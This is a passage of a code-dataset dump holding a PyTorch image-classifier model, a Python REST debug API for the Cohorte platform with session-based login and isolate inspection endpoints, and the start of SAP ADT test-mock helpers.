nn.Conv2d(32, 64, kernel_size=3),\n nn.BatchNorm2d(64),\n nn.ReLU(inplace=True)\n )\n\n self.layer4 = nn.Sequential(\n nn.Conv2d(64, 128, kernel_size=3),\n nn.BatchNorm2d(128),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2)\n )\n\n self.layer5 = nn.Sequential(\n nn.Conv2d(128, 64, kernel_size=3),\n nn.BatchNorm2d(64),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2)\n )\n\n self.layer6 = nn.Sequential(\n nn.Conv2d(64, 32, kernel_size=3),\n nn.BatchNorm2d(32),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2)\n )\n\n self.fc = nn.Sequential(\n nn.Linear(5408, 1024),\n nn.ReLU(inplace=True),\n nn.Linear(1024, 128),\n nn.ReLU(inplace=True),\n nn.Linear(128, 4)\n )\n\n def forward(self, x):\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n x = self.layer5(x)\n x = self.layer6(x)\n x = x.view(x.size(0), -1)\n # print(x.size())\n x = self.fc(x)\n return x\n\n\nclass PlantModel(nn.Module):\n\n def __init__(self, pretrained, num_class=4):\n super(PlantModel, self).__init__()\n self.backbone = resnet18(pretrained=pretrained)\n in_feature = self.backbone.fc.in_features\n self.logit = nn.Linear(in_feature, num_class)\n self.dropout = nn.Dropout(0.25)\n\n def forward(self, x):\n x = self.backbone.conv1(x)\n x = self.backbone.bn1(x)\n x = self.backbone.relu(x)\n x = self.backbone.maxpool(x)\n\n x = self.backbone.layer1(x)\n x = self.backbone.layer2(x)\n x = self.backbone.layer3(x)\n x = self.backbone.layer4(x)\n\n x = self.backbone.avgpool(x)\n x = x.view(x.size(0), -1)\n x = self.dropout(x)\n\n out = self.logit(x)\n return out\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"161362900","text":"#!/usr/bin/python\n# -- Content-Encoding: UTF-8 --\n\"\"\"\nCohorte Debug REST API\n\n:authors: Bassem Debbabi\n:copyright: Copyright 2015, isandlaTech\n:license: Apache Software License 2.0\n\nHISTORY\n2016/08/08: API V2\n - Adding get isolate directory (herald directory) function\n\n\"\"\"\n\n# iPOPO decorators\nimport cohorte.composer\nimport cohorte.monitor\nimport hashlib\nimport json, time, os, uuid\nimport logging\nfrom pelix.ipopo.decorators import ComponentFactory, Provides, Property, Instantiate, \\\n Validate, Invalidate, Requires, RequiresMap, Bind, BindField, UnbindField\nimport pelix.remote\nimport threading\n\nimport debug\nimport herald\nimport herald.beans as beans\n\n\n# Herald\n# Cohorte \n# Standard library\ntry:\n import Cookie\nexcept ImportError:\n import http.cookies as Cookie\n\ntry:\n # Python 3\n import urllib.parse as urlparse\n\nexcept ImportError:\n # Python 2\n import urlparse\n\n# cohorte plutform debug agent and api\n\n_logger = logging.getLogger(\"debug.debug\")\n\n# collecting information \nSUBJECT_GET_HTTP = \"cohorte/shell/agent/get_http\"\n\n# API path\nDEBUG_REST_API_PATH = \"debug/api/v2\"\n\n# API Version\nDEBUG_REST_API_VERSION = \"v2\"\n\nPROP_USERNAME = \"username\"\n\nPROP_PASSWORD = \"password\"\n\nPROP_SESSION_TIMEOUT = \"session.timeout\"\n\n# ------------------------------------------------------------------------------------\n\nclass SetEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, set):\n return list(obj)\n return json.JSONEncoder.default(self, obj)\n\n# ------------------------------------------------------------------------------------\n\n@ComponentFactory(\"cohorte-admin-api-factory\")\n@Provides(['pelix.http.servlet', 'cohorte.admin.api'])\n@Property('_path', 'pelix.http.path', \"/debug\")\\\n\n@Requires(\"_agent\", debug.SERVICE_DEBUG)\n# Consume a single Herald Directory service\n@Requires(\"_directory\", herald.SERVICE_DIRECTORY)\n@Requires('_herald', herald.SERVICE_HERALD)\n# Consume an Isolate Composer service\n@RequiresMap(\"_icomposers\", cohorte.composer.SERVICE_COMPOSER_ISOLATE, 'endpoint.framework.uuid',\n optional=True, allow_none=False)\n@Requires(\"_icomposerlocal\", cohorte.composer.SERVICE_COMPOSER_ISOLATE,\n optional=True, spec_filter=\"(!(service.imported=*))\")\n@Requires(\"_composer_top\", cohorte.composer.SERVICE_COMPOSER_TOP)\n@Requires(\"_isolates\", cohorte.composer.SERVICE_COMPOSER_ISOLATE, aggregate=True, optional=True)\n@Property('_reject', pelix.remote.PROP_EXPORT_REJECT, ['pelix.http.servlet', 'cohorte.admin.api'])\n@Property('_username', PROP_USERNAME, 'admin')\n@Property('_password', PROP_PASSWORD, 'admin')\n@Property('_sessions_timeout', PROP_SESSION_TIMEOUT, 120000)\nclass DebugAPI(object):\n \"\"\"\n A Component that provides the REST Admin API\n \"\"\"\n\n def __init__(self):\n\n # lock\n self._lock = threading.Lock()\n\n # servlet's path\n self._path = None\n\n # cohorte platform debug agent\n self._agent = None\n\n # herald directory service\n self._directory = None\n self._herald = None\n\n # composer services\n self._icomposers = {}\n self._icomposerlocal = None\n self._composer_top = None\n self._isolates = []\n \n # properties\n self._username = None\n self._password = None\n \n # List of platform activities\n self._platform_activities = []\n self._platform_activities_index = 0\n\n # a Map of last updated lists\n self._last_updates = {}\n time_now = time.time()\n self._last_updates[\"nodes\"] = time_now\n self._last_updates[\"platform_activities\"] = time_now\n\n # local infos\n self._version_json = None\n \n # sessions\n # uuid -> {\"user\":\"admin\", \"last-activity\": \"123454444323\"}\n self._sessions = {}\n # in muliseconds\n self._sessions_timeout = 1 * 60 * 1000\n\n def decrypt_request(self, request, action=\"GET\"):\n \"\"\"\n Decrypts the request and extracts these information:\n\n :return path: full path without host:port (first and last / are removed)\n :return parts: list of query parts\n :return in_data: json object of the associated request data\n \"\"\"\n o = urlparse.urlparse(request.get_path())\n path = o.path\n query = o.query\n\n # prepare query path: remove first and last '/' if exists\n if path[0] == '/':\n path = path[1:]\n if path[-1] == '/':\n path = path[:-1]\n parts = str(path).split('/')\n in_data = None\n if action == \"GET\":\n in_data = urlparse.parse_qs(query, keep_blank_values=True)\n else:\n data = request.read_data()\n if data != None: \n indata = data.decode('UTF-8') \n in_data = json.loads(str(indata))\n else:\n in_data = urlparse.parse_qs(query, keep_blank_values=True)\n\n # print(json.dumps(in_data, sort_keys=False, indent=4, separators=(',', ': ')))\n return (path, parts, in_data)\n\n def prepare_response(self, request, action):\n data = {\"meta\": {}}\n data[\"meta\"][\"status\"] = 200\n data[\"meta\"][\"msg\"] = \"OK\"\n data[\"meta\"][\"api-version\"] = DEBUG_REST_API_VERSION\n data[\"meta\"][\"api-method\"] = \"\"\n data[\"meta\"][\"cohorte-version\"] = self._get_cohorte_version()\n data[\"meta\"][\"request-path\"] = request.get_path()\n data[\"meta\"][\"request-method\"] = action\n data[\"meta\"][\"duration\"] = 0.0\n return data\n\n def send_json(self, data, response):\n result = json.dumps(data, sort_keys=False,\n indent=4, separators=(',', ': '),\n cls=SetEncoder)\n response.send_content(data[\"meta\"][\"status\"], result, \"application/json\")\n \t\n def send_text(self, data, response, status):\n response.send_content(status, data, \"text/plain\")\n \n def bad_request(self, request, response, in_data, out_data, msg=None):\n out_data[\"meta\"][\"status\"] = 400\n if msg:\n out_data[\"meta\"][\"msg\"] = \"BAD REQUEST: \" + msg\n else:\n out_data[\"meta\"][\"msg\"] = \"BAD REQUEST\"\n\n def internal_server_error(self, request, response, in_data, out_data, msg=None):\n out_data[\"meta\"][\"status\"] = 500\n if msg:\n out_data[\"meta\"][\"msg\"] = \"INTERNAL SERVER ERROR: \" + msg\n else:\n out_data[\"meta\"][\"msg\"] = \"INTERNAL SERVER ERROR\"\n\n \"\"\"\n GET actions ========================================================================\n \"\"\"\n\n def get_auth_info(self, request, response, in_data, out_data, session_id): \n out_data[\"auth\"] = {\n \"session-id\": session_id,\n \"session-user\": self._sessions[session_id][\"user\"],\n \"session-timeout\": self._sessions_timeout,\n } \n \n def get_api_info(self, request, response, in_data, out_data):\n out_data[\"api\"] = {\"name\": \"debug\"} \n\n def get_platform_details(self, request, response, in_data, out_data):\n out_data[\"platform\"] = {} \n out_data[\"platform\"][\"cohorte-version\"] = self._get_cohorte_version()\n\n def get_application_details(self, request, response, in_data, out_data):\n out_data[\"application\"] = {} \n out_data[\"application\"][\"id\"] = self._get_application_id()\n out_data[\"application\"][\"name\"] = self._get_application_name()\n\n def get_application_composition(self, request, response, in_data, out_data):\n out_data[\"application\"] = {} \n out_data[\"application\"][\"id\"] = self._get_application_id()\n out_data[\"application\"][\"name\"] = self._get_application_name()\n out_data[\"application\"][\"composition\"] = self._get_application_composition()\n\n def get_isolates(self, request, response, in_data, out_data):\n out_data[\"isolates\"] = []\n lp = self._directory.get_local_peer()\n out_data[\"isolates\"].append({\"uid\": lp.uid, \"name\": lp.name,\n \"node_uid\": lp.node_uid, \"node_name\": lp.node_name})\n count = 1\n for p in self._directory.get_peers():\n out_data[\"isolates\"].append({\"uid\": p.uid, \"name\": p.name,\n \"node_uid\": p.node_uid, \"node_name\": p.node_name})\n count += 1 \n out_data[\"meta\"][\"count\"] = count\n\n def get_isolate(self, request, response, in_data, out_data, uuid):\n out_data[\"isolate\"] = self._get_isolate_detail(uuid)\n \n def get_isolate_bundles(self, request, response, in_data, out_data, uuid):\n out_data[\"isolate\"] = {\"uuid\" : uuid}\n bundles = self._get_isolate_bundles(uuid)\n out_data[\"bundles\"] = bundles\n if bundles is not None:\n count = len(bundles)\n else:\n count = 0 \n out_data[\"meta\"][\"count\"] = count\n \n def get_bundle_detail(self, request, response, in_data, out_data, isolate_uuid, bundle_id):\n out_data[\"isolate\"] = {\"uuid\" : isolate_uuid}\n out_data[\"bundle\"] = {}\n out_data[\"bundle\"] = self._get_bundle_detail(isolate_uuid, bundle_id) \n \n def get_isolate_factories(self, request, response, in_data, out_data, uuid):\n out_data[\"isolate\"] = {\"uuid\" : uuid}\n factories = self._get_isolate_factories(uuid)\n out_data[\"factories\"] = factories\n if factories is not None:\n count = len(factories)\n else:\n count = 0 \n out_data[\"meta\"][\"count\"] = count\n\n def get_factory_detail(self, request, response, in_data, out_data, isolate_uuid, factory_name):\n out_data[\"isolate\"] = {\"uuid\" : isolate_uuid}\n out_data[\"factory\"] = {}\n out_data[\"factory\"] = self._get_factory_detail(isolate_uuid, factory_name) \n\n def get_isolate_instances(self, request, response, in_data, out_data, uuid):\n out_data[\"isolate\"] = {\"uuid\" : uuid} \n instances = self._get_isolate_instances(uuid)\n out_data[\"instances\"] = instances \n if instances is not None:\n count = len(instances)\n else:\n count = 0\n out_data[\"meta\"][\"count\"] = count\n \n def get_instance_detail(self, request, response, in_data, out_data, isolate_uuid, instance_name):\n out_data[\"isolate\"] = {\"uuid\" : isolate_uuid}\n out_data[\"instance\"] = {}\n out_data[\"instance\"] = self._get_instance_detail(isolate_uuid, instance_name) \n \n def get_isolate_services(self, request, response, in_data, out_data, uuid):\n out_data[\"isolate\"] = {\"uuid\" : uuid}\n services = self._get_isolate_services(uuid)\n out_data[\"services\"] = services\n if services is not None:\n count = len(services)\n else:\n count = 0\n out_data[\"meta\"][\"count\"] = count\n\n def get_isolate_threads(self, request, response, in_data, out_data, uuid):\n out_data[\"isolate\"] = {\"uuid\" : uuid}\n threads = self._get_isolate_threads(uuid)\n out_data[\"threads\"] = threads\n if threads is not None:\n count = len(threads)\n else: \n count = 0 \n out_data[\"meta\"][\"count\"] = count\n \n def get_isolate_logs(self, request, response, in_data, out_data, uuid):\n out_data[\"isolate\"] = {\"uuid\" : uuid}\n logs = self._get_isolate_logs(uuid)\n out_data[\"logs\"] = logs\n if logs is not None:\n count = len(logs)\n else:\n count = 0 \n out_data[\"meta\"][\"count\"] = count\n\n def get_isolate_log(self, request, response, in_data, out_data, isolate_uuid, log_id):\n out_data[\"isolate\"] = {\"uuid\" : isolate_uuid} \n out_data[\"log\"] = self._get_isolate_log(isolate_uuid, log_id) \n\n def get_isolate_directory(self, request, response, in_data, out_data, uuid):\n out_data[\"isolate\"] = {\"uuid\" : uuid}\n directory = self._get_isolate_directory(uuid)\n out_data[\"directory\"] = directory \n\n def get_isolate_accesses(self, request, response, in_data, out_data, uuid):\n out_data[\"isolate\"] = {\"uuid\" : uuid}\n accesses = self._get_isolate_accesses(uuid)\n out_data[\"accesses\"] = accesses \n\n\n \"\"\"\n POST actions ========================================================================\n \"\"\"\n\n def auth_login(self, request, response, in_data, out_data):\n username = in_data[\"username\"]\n password = in_data[\"password\"]\n rediect = in_data[\"redirect\"]\n if self.check_credentials(username, password):\n # create new session\n session_id = str(uuid.uuid1())\n # session creation time in seconds\n current_time = int(round(time.time() * 1000))\n self._sessions[session_id] = {\"user\": username, \"last-activity\": current_time} \n out_data[\"login\"] = {\"redirect\": rediect, \"session\": session_id}\n else:\n out_data[\"meta\"][\"status\"] = 401\n out_data[\"meta\"][\"msg\"] = \"Unauthorized\" \n \n # get session number\n # if exists, check if not timeout\n # else, check credentials and creates new session id\n \n def auth_logout(self, request, response, in_data, out_data):\n session = None\n rediect = None\n if \"session\" in in_data:\n session = in_data[\"session\"]\n if \"redirect\" in in_data:\n rediect = in_data[\"redirect\"]\n out_data[\"logout\"] = {\"redirect\": rediect} \n\n def set_isolate_logs_level(self, request, response, in_data, out_data, uuid):\n out_data[\"isolate\"] = {\"uuid\" : uuid} \n level = in_data[\"logLevel\"]\n logs_level = self._set_isolate_logs_level(uuid, level) \n if logs_level:\n out_data[\"logs\"] = logs_level\n else:\n self.internal_server_error(request, response, in_data, out_data, \"Cannot change log level!\")\n \n\n \"\"\"\n Internal api methods ===========================================================================\n \"\"\"\n \n def check_credentials(self, username, password):\n if username and password:\n if self._username == username:\n if self._password.startswith(\"hash:\"):\n hashed_password = self._password[5:]\n hashed_user_pass_obj = hashlib.md5(password.encode('UTF-8'))\n hashed_user_pass = hashed_user_pass_obj.hexdigest()\n return hashed_password == hashed_user_pass\n else:\n return self._password == password \n return False\n \n def check_session_timeout(self, request, response, in_data, out_data, session_id, update=True):\n if session_id in self._sessions:\n current_time = int(round(time.time() * 1000))\n session_time = self._sessions[session_id][\"last-activity\"] \n if current_time - session_time < self._sessions_timeout:\n # update session time\n if update == True:\n self._sessions[session_id][\"last-activity\"] = current_time\n return False\n return True \n \n \"\"\"\n Internal agent methods ===========================================================================\n \"\"\"\n\n def _get_isolate_detail(self, uuid):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n try: \n msg = beans.Message(debug.agent.SUBJECT_GET_ISOLATE_DETAIL)\n reply = self._herald.send(uuid, msg)\n return json.loads(reply.content)\n except KeyError:\n return None\n else:\n # this is the local isolate\n return json.loads(self._agent.get_isolate_detail())\n\n def _get_isolate_bundles(self, uuid):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_GET_BUNDLES)\n reply = self._herald.send(uuid, msg)\n return json.loads(reply.content)\n else:\n # this is the local isolate\n return json.loads(self._agent.get_bundles())\n \n def _get_bundle_detail(self, uuid, bundle_id):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_GET_BUNDLE_DETAIL, bundle_id)\n reply = self._herald.send(uuid, msg)\n return json.loads(reply.content)\n else:\n # this is the local isolate\n return json.loads(self._agent.get_bundle_detail(bundle_id))\n \n def _get_isolate_factories(self, uuid):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_GET_FACTORIES)\n reply = self._herald.send(uuid, msg)\n return json.loads(reply.content)\n else:\n # this is the local isolate\n return json.loads(self._agent.get_factories())\n\n def _get_factory_detail(self, uuid, factory_name):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_GET_FACTORY_DETAIL, factory_name)\n reply = self._herald.send(uuid, msg)\n return json.loads(reply.content)\n else:\n # this is the local isolate\n return json.loads(self._agent.get_factory_detail(factory_name))\n \n def _get_isolate_instances(self, uuid):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_GET_INSTANCES)\n reply = self._herald.send(uuid, msg)\n return json.loads(reply.content)\n else:\n # this is the local isolate\n return json.loads(self._agent.get_instances())\n\n def _get_instance_detail(self, uuid, instance_name):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_GET_INSTANCE_DETAIL, instance_name)\n reply = self._herald.send(uuid, msg)\n return json.loads(reply.content)\n else:\n # this is the local isolate\n return json.loads(self._agent.get_instance_detail(instance_name))\n\n def _get_isolate_services(self, uuid):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_GET_SERVICES)\n reply = self._herald.send(uuid, msg)\n return json.loads(reply.content)\n else:\n # this is the local isolate\n return json.loads(self._agent.get_services())\n\n def _get_isolate_threads(self, uuid):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_GET_THREADS)\n reply = self._herald.send(uuid, msg)\n return json.loads(reply.content)\n else:\n # this is the local isolate\n return json.loads(self._agent.get_threads())\n \t\n def _get_isolate_logs(self, uuid):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_GET_ISOLATE_LOGS)\n reply = self._herald.send(uuid, msg)\n return json.loads(reply.content)\n else:\n # this is the local isolate\n return json.loads(self._agent.get_isolate_logs())\n \n def _get_isolate_log(self, uuid, log_id):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_GET_ISOLATE_LOG, log_id)\n reply = self._herald.send(uuid, msg)\n return json.loads(reply.content)\n else:\n # this is the local isolate\n return json.loads(self._agent.get_isolate_log(log_id))\n\n def _get_isolate_directory(self, uuid):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_GET_ISOLATE_DIRECTORY)\n reply = self._herald.send(uuid, msg)\n return reply.content\n else:\n # this is the local isolate\n return self._agent.get_isolate_directory()\n\n def _get_isolate_accesses(self, uuid):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_GET_ISOLATE_ACCESSES)\n reply = self._herald.send(uuid, msg) \n return json.loads(reply.content)\n else:\n # this is the local isolate\n return json.loads(self._agent.get_isolate_accesses())\n\n def _set_isolate_logs_level(self, uuid, level):\n lp = self._directory.get_local_peer()\n if lp.uid != uuid: \n # this is another isolate \n msg = beans.Message(debug.agent.SUBJECT_SET_ISOLATE_LOGS_LEVEL, level)\n reply = self._herald.send(uuid, msg) \n return json.loads(reply.content)\n else:\n # this is the local isolate\n return json.loads(self._agent.set_isolate_logs_level(level))\n # Not yet implemented in Python\n return None\n\n \"\"\"\n Internal api methods ===========================================================================\n \"\"\"\n\n def _get_cohorte_version_details(self):\n if not self._version_json:\n conf_dir = os.path.join(self._context.get_property(\"cohorte.home\"), \"conf\")\n file_name = os.path.join(conf_dir, \"version.js\") \n with open(file_name, \"r\") as version_json_file:\n self._version_json = json.load(version_json_file)\n return self._version_json\n\n def _get_cohorte_version(self):\n version = self._get_cohorte_version_details()\n return \"{0}_{1}_{2}\".format(version[\"version\"], version[\"timestamp\"], version[\"stage\"]) \n\n def _get_application_id(self): \n app_id = self._context.get_property(\"herald.application.id\")\n return app_id\n\n def _get_application_name(self): \n comp = self._get_application_composition()\n return comp[\"name\"]\n\n def _get_application_composition(self):\n return self._composer_top.get_composition_json() \n\n \"\"\"\n Servlet (url mapping to rest api) ================================================================\n \"\"\"\n\n def do_GET(self, request, response):\n \"\"\"\n Handle a GET\n \"\"\"\n path, parts, in_data = self.decrypt_request(request)\n\n out_data = self.prepare_response(request, \"GET\")\n \n # check session\n cookies = request.get_header(\"Cookie\")\n if cookies:\n cookie = Cookie.SimpleCookie()\n cookie.load(cookies)\n session_id = cookie[\"session\"].value\n if session_id:\n out_data[\"meta\"][\"session\"] = session_id\n if self.check_session_timeout(request, response, in_data, out_data, session_id) == False: \n # valid session \n if path.startswith(DEBUG_REST_API_PATH):\n if path.startswith(DEBUG_REST_API_PATH + \"/auth\"):\n out_data[\"meta\"][\"api-method\"] = \"get_auth_info\"\n self.get_auth_info(request, response, in_data, out_data, session_id)\n elif path == DEBUG_REST_API_PATH: \n out_data[\"meta\"][\"api-method\"] = \"get_api_info\" \n self.get_api_info(request, response, in_data, out_data)\n elif path == DEBUG_REST_API_PATH + \"/platform\":\n out_data[\"meta\"][\"api-method\"] = \"get_platform_details\"\n self.get_platform_details(request, response, in_data, out_data)\n elif path == DEBUG_REST_API_PATH + \"/application\":\n out_data[\"meta\"][\"api-method\"] = \"get_application_details\"\n self.get_application_details(request, response, in_data, out_data) \n elif path == DEBUG_REST_API_PATH + \"/isolates\":\n out_data[\"meta\"][\"api-method\"] = \"get_isolates\"\n self.get_isolates(request, response, in_data, out_data)\n\n elif len(parts) == 5: \n if path == DEBUG_REST_API_PATH + \"/application/composition\":\n out_data[\"meta\"][\"api-method\"] = \"get_application_composition\"\n self.get_application_composition(request, response, in_data, out_data)\n elif path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4]:\n out_data[\"meta\"][\"api-method\"] = \"get_isolate\"\n self.get_isolate(request, response, in_data, out_data, parts[4])\n else:\n self.bad_request(request, response, in_data, out_data)\n \n elif len(parts) == 6:\n if path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/bundles\":\n out_data[\"meta\"][\"api-method\"] = \"get_isolate_bundles\"\n self.get_isolate_bundles(request, response, in_data, out_data, parts[4])\n \n elif path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/factories\":\n out_data[\"meta\"][\"api-method\"] = \"get_isolate_factories\"\n self.get_isolate_factories(request, response, in_data, out_data, parts[4])\n \n elif path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/instances\":\n out_data[\"meta\"][\"api-method\"] = \"get_isolate_instances\"\n self.get_isolate_instances(request, response, in_data, out_data, parts[4])\n \n elif path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/services\":\n out_data[\"meta\"][\"api-method\"] = \"get_isolate_services\"\n self.get_isolate_services(request, response, in_data, out_data, parts[4])\n \n elif path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/threads\":\n out_data[\"meta\"][\"api-method\"] = \"get_isolate_threads\"\n self.get_isolate_threads(request, response, in_data, out_data, parts[4])\n elif path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/logs\":\n out_data[\"meta\"][\"api-method\"] = \"get_isolate_logs\"\n self.get_isolate_logs(request, response, in_data, out_data, parts[4])\n elif path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/directory\":\n out_data[\"meta\"][\"api-method\"] = \"get_isolate_directory\"\n self.get_isolate_directory(request, response, in_data, out_data, parts[4])\n elif path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/accesses\":\n out_data[\"meta\"][\"api-method\"] = \"get_isolate_accesses\"\n self.get_isolate_accesses(request, response, in_data, out_data, parts[4])\n\n elif len(parts) == 7:\n if path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/bundles/\" + parts[6]:\n out_data[\"meta\"][\"api-method\"] = \"get_bundle_detail\"\n self.get_bundle_detail(request, response, in_data, out_data, parts[4], parts[6])\n elif path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/factories/\" + parts[6]:\n out_data[\"meta\"][\"api-method\"] = \"get_factory_detail\"\n self.get_factory_detail(request, response, in_data, out_data, parts[4], parts[6])\n elif path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/instances/\" + parts[6]:\n out_data[\"meta\"][\"api-method\"] = \"get_instance_detail\"\n self.get_instance_detail(request, response, in_data, out_data, parts[4], parts[6])\n elif path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/logs/\" + parts[6]:\n if 'raw' in in_data:\n # send raw log\n log = self._get_isolate_log(parts[4], parts[6])\n self.send_text(log[\"content\"], response, 200)\n else:\n # send log within a json object data[\"log\"]\n out_data[\"meta\"][\"api-method\"] = \"get_isolate_log\"\n self.get_isolate_log(request, response, in_data, out_data, parts[4], parts[6])\n else:\n self.bad_request(request, response, in_data, out_data)\n\n else:\n self.bad_request(request, response, in_data, out_data)\n \n else:\n # session timeout\n out_data[\"meta\"][\"status\"] = 401\n out_data[\"meta\"][\"msg\"] = \"Unauthorized - session timeout!\" \n else:\n # session timeout\n out_data[\"meta\"][\"status\"] = 401\n out_data[\"meta\"][\"msg\"] = \"Unauthorized - session cookie no provided!\"\n else:\n # session timeout\n out_data[\"meta\"][\"status\"] = 401\n out_data[\"meta\"][\"msg\"] = \"Unauthorized - request cookie not provided!\" \n \n self.send_json(out_data, response)\n\n \n def do_POST(self, request, response):\n \"\"\"\n Handle a POST\n \"\"\"\n path, parts, in_data = self.decrypt_request(request, \"POST\")\n\n out_data = self.prepare_response(request, \"POST\")\n\n if path.startswith(DEBUG_REST_API_PATH): \n if path.startswith(DEBUG_REST_API_PATH + \"/auth/login\"):\n out_data[\"meta\"][\"api-method\"] = \"auth_login\"\n self.auth_login(request, response, in_data, out_data)\n elif path.startswith(DEBUG_REST_API_PATH + \"/auth/logout\"):\n out_data[\"meta\"][\"api-method\"] = \"auth_logout\"\n self.auth_logout(request, response, in_data, out_data)\n elif len(parts) == 7:\n if path == DEBUG_REST_API_PATH + \"/isolates/\" + parts[4] + \"/logs/level\":\n out_data[\"meta\"][\"api-method\"] = \"set_isolate_logs_level\"\n # check session\n cookies = request.get_header(\"Cookie\")\n if cookies:\n cookie = Cookie.SimpleCookie()\n cookie.load(cookies)\n session_id = cookie[\"session\"].value\n if session_id:\n out_data[\"meta\"][\"session\"] = session_id\n if self.check_session_timeout(request, response, in_data, out_data, session_id) == False: \n if 'logLevel' in in_data: \n self.set_isolate_logs_level(request, response, in_data, out_data, parts[4])\n else:\n self.bad_request(request, response, in_data, out_data, \"no logLevel parameter provided!\")\n else:\n self.bad_request(request, response, in_data, out_data)\n\n else:\n self.bad_request(request, response, in_data, out_data)\n\n self.send_json(out_data, response)\n\n \"\"\"\n\tiPOPO STUFF --------------------------------------------------------------------------------------------------------\n\t\"\"\"\n\n @Validate\n def validate(self, context):\n _logger.info(\"Debug REST API validated\")\n self._context = context\n\n\n @Invalidate\n def invalidate(self, context):\n _logger.info(\"Debug REST API invalidated\")\n\n\n def bound_to(self, path, params):\n \"\"\"\n\t\tServlet bound to a path\n\t\t\"\"\"\n _logger.info('Bound to ' + path)\n return True\n\n def unbound_from(self, path, params):\n \"\"\"\n\t\tServlet unbound from a path\n\t\t\"\"\"\n _logger.info('Unbound from ' + path)\n return None\n","sub_path":"cohorte-home/repo/debug/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":33784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"103369356","text":"import copy\nfrom typing import Dict, NamedTuple\nfrom io import StringIO\nfrom argparse import ArgumentParser\n\nimport unittest\nfrom unittest.mock import patch\n\nimport sap.adt\nimport sap.cli.core\n\n\nclass Response:\n\n def __init__(self, text=None, status_code=None, headers=None, content_type=None):\n self.text = text\n self.status_code = status_code if status_code is not None else 200\n self.headers = headers\n\n if content_type is not None:\n if self.headers is None:\n self.headers = {}\n\n self.headers['Content-Type'] = content_type\n\n\nclass Request(NamedTuple):\n\n method: str\n adt_uri: str\n headers: Dict\n body: str\n params: Dict\n\n def to_short_str(self):\n return f'{self.method} {self.adt_uri}'\n\n def __str__(self):\n str_request = self.to_short_str()\n\n if self.params:\n str_request += '?' + '&'.join((f'{key}={value}' for (key, value) in self.params.items()))\n\n if self.headers:\n str_request += '\\n' + '\\n'.join((f'{key}: {value}' for (key, value) in self.headers.items()))\n\n if self.body:\n str_request += '\\n' + self.body\n\n def assertEqual(self, other, asserter):\n asserter.assertEqual(self.to_short_str(), other.to_short_str())\n asserter.assertEqual(self.body, other.body, f'Not matching bodies for {self.to_short_str()}')\n asserter.assertEqual(self.params, other.params, f'Not matching parameters for {self.to_short_str()}')\n asserter.assertEqual(self.headers, other.headers, f'Not matching parameters for {self.to_short_str()}')\n\n @staticmethod\n def get(adt_uri=None, headers=None, body=None, params=None):\n return Request(method='GET', adt_uri=adt_uri, headers=headers, body=body, params=params)\n\n\n def clone_with_uri(self, uri):\n return Request(\n method=self.method,\n adt_uri=uri,\n headers=self.headers,\n body=self.body,\n params=self.params)\n\ndef ok_responses():\n\n yield Response(text='', status_code=200, headers={})\n\n\nclass SimpleAsserter:\n\n def assertEqual(self, lhs, rhs, message=None):\n assert lhs == rhs, message\n\n\nclass Connection(sap.adt.Connection):\n\n def __init__(self, responses=None, user='ANZEIGER', collections=None, asserter=None):\n \"\"\"\n Args:\n response: A list of Response instances or tuples (Response, Request)\n if you want to automatically check the request. Ins such\n case, you should also pass the argument asserter.\n \"\"\"\n super(Connection, self).__init__('mockhost', 'mockclient', user, 'mockpass')\n\n self.collections = collections\n self.execs = list()\n self._resp_iter = ok_responses() if responses is None else iter(responses)\n self.asserter = asserter if asserter is not None else SimpleAsserter()\n\n def _get_session(self):\n return 'bogus session'\n\n def _build_adt_url(self, adt_uri):\n return f'/{self.uri}/{adt_uri}'\n\n def _retrieve(self, 